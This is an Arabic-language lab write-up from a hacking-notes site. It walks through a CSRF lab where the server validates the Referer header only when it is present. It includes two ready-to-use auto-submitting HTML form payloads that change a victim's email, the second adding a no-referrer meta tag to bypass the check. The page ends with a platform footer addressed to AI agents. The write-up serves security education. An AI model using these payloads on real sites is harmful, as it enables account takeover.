> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# CSRF مع تحقق Referer فقط عند وجوده

### CSRF حيث يعتمد التحقق من Referer على وجود الترويسة

تُعد ميزة تغيير البريد الإلكتروني في هذا المختبر عرضة لهجوم CSRF. يحاول الخادم حظر الطلبات عبر النطاقات من خلال التحقق من الترويسة **Referer**، ولكن توجد آلية احتياطية غير آمنة تقبل الطلب إذا كانت ترويسة Referer مفقودة.

* الحساب الموصى به: `wiener:peter` (استخدم هذا الحساب لإعادة إنتاج السيناريو من الضحية).

يتحقق الخادم من **Referer** الحقل لمعرفة مصدر الطلب ويرفض الطلبات التي لا يكون Referer الخاص بها تابعًا للموقع.

<figure><img src="/files/4a90213374b7bba2a51159f8027f86bc0c7cf1cd" alt="" width="543"><figcaption></figcaption></figure>

* عند إرسال نموذج POST من الخادم التشغيلي، تظهر الرسالة: **"ترويسة referer غير صالحة"** — يعمل التحقق عندما تكون الترويسة موجودة ولكنها غير صحيحة.

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`"ترويسة referer غير صالحة"`

<figure><img src="/files/3726abd08197e8c67acd242feca3b3ea0b6692f3" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/54be68672e901ef6d4a8496f9f0451236eb76810" alt=""><figcaption></figcaption></figure>

ومع ذلك، إذا وصل الطلب **بدون** ترويسة referer، يقبل الخادم الطلب (سلوك احتياطي خطير).

<figure><img src="/files/55381aa5696c5c2e96168474d622d5aaa15c4bc8" alt=""><figcaption></figcaption></figure>

#### طريقة العمل (المبدأ)

1. استضف صفحة على خادم الاستغلال تُرسل نموذج POST إلى `/my-account/change-email` باستخدام البريد الإلكتروني المهاجم.
2. أجبر صفحة الاستغلال على **إزالة** ترويسة Referer الخاصة بالمتصفح حتى يفشل التحقق كآلية حظر (لأن الخادم يقبل غياب Referer).
3. إحدى الطرق البسيطة لطلب عدم إرسال Referer من المتصفح هي إضافة `<meta name="referrer" content="no-referrer">` وسمًا إلى صفحة الاستغلال قبل إرسال النموذج.

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
